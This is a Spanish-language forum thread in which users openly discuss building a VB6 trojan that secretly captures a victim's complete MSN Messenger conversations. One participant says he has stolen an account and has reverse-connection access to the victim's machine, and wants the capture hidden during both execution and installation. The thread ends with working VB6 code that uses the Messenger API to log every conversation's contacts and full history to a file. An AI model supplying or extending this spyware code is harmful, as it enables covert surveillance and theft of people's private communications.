[Codigo]Capturar conversaciones de msn completas en vb6

Iniciado por hepy_92, 30 Abril 2007, 17:38 PM

0 Miembros y 1 Visitante están viendo este tema.

hepy_92

weno.. estoy creando un troyano en vb6, multi c.i, y seria interesante añadirle la funcion de capturar una conversacion completa de msn, como lo hace la funcion de guardar historiales en msn
alguien se le ocurre alguna idea???
Gracias de antemano  ;D

PD: ya estuve buscando, no encontre nada que me convenciera

ogirdor

#1
ooo eso es justo lo que necesito... porq robandole la cuenta y activandole el historial solo funcionara hasta que la persona lo desactive.. y los keyloggers no proporcionan toda la informacion de la conversa...

escuche tambien aserca de sniffers.. pero por lo que vi solo funcionaban para la red local...

de verdad necesito de esta informacion, ademas de querer aprender más cada dia.

cualquier ayuda se agradece.

PD: cabe decir que no necesariamente quiero sniffear, ya que como tengo acceso a ese computador via connexion inversa.. bastaria con crear una especia de "historial de conversas" msn plus.. perocompletamente oculto tanto en su ejecucion como instalacion.

saludos

ReViJa


hepy_92

Tesis, como ya lo dije en mi post NO encontre nada que me sirva, por eso posteo aca, si tienes algo en que aportar se te agradeceria

hepy_92

alguien podria ayudarme!? no encuentro nada en el foro!

~~

Pues puedes snifar las conversaciones, aunke lo veo un poco complicado... mirate la api del messenger a ver si hay algo q te valga, q supongo q si ;)

hepy_92

muchas gracias E0N muy buena la api  me podria servir mucho.. pero hay alguna forma de activarle guardar los historiales con esa api???

Jareth

Yo vi un codigo creo pero paa el msn 7,igual alguien podria adaptarlo solo es modificar  unas declaraciones y tipos.
Si lo encuentro lo posteo,estaba en vbfrance.com,buscad por:conversation msn o capturer conversation msn.
Saludos.

hepy_92

gracias Jareth!! al parecer me salvas en todos los posts  ;D
lo encontre en vbfrance.com por capturer conversation msn
aka va el code por si alguien lo quiere
lo unico que hay que hacer es agregar la api de messenger
para agregarla vayan a Proyecto, Referencias, y seleccionan Messenger Api Type Library

Option Explicit
Private WithEvents objMessenger As MessengerAPI.Messenger

Private Sub Form_Load()
    Set objMessenger = New MessengerAPI.Messenger
End Sub

Private Sub objMessenger_OnIMWindowDestroyed(ByVal pIMWindow As Object)
    Dim MsgrIMWindow As IMessengerConversationWnd
    Dim MsgrContacts As IMessengerContacts
    Dim i As Long
    Dim fil As Integer
    Dim strTmpText As String
   
    Set MsgrIMWindow = pIMWindow
    Set MsgrContacts = MsgrIMWindow.Contacts
     
    If MsgrContacts.Count = 0 Then
        strTmpText = "test"
    Else
        strTmpText = MsgrContacts.Item(0).SigninName
    End If
   
    fil = FreeFile()
    Open "C:\test\" & strTmpText & ".log" For Append As #fil
        Print #fil, "_______________________________________________________________________________________"
        Print #fil, "Le " & Date & " a " & Time
        Print #fil, "Contactos de la Conversacion (" & MsgrContacts.Count & "): "
        For i = 0 To MsgrContacts.Count - 1
            Print #fil, " - " & MsgrContacts.Item(i).FriendlyName & "<" & MsgrContacts.Item(0).SigninName & ">"
        Next
        Print #fil, "---------------------------------------------------------------------------------------"
        Print #fil, MsgrIMWindow.History
        Print #fil, "_______________________________________________________________________________________" & vbCrLf
    Close #fil
End Sub

Jareth

Era ese.Te lo iba a poner yo,pero ya lo encontraste  :xD
Saludos y suerte con tu proyecto!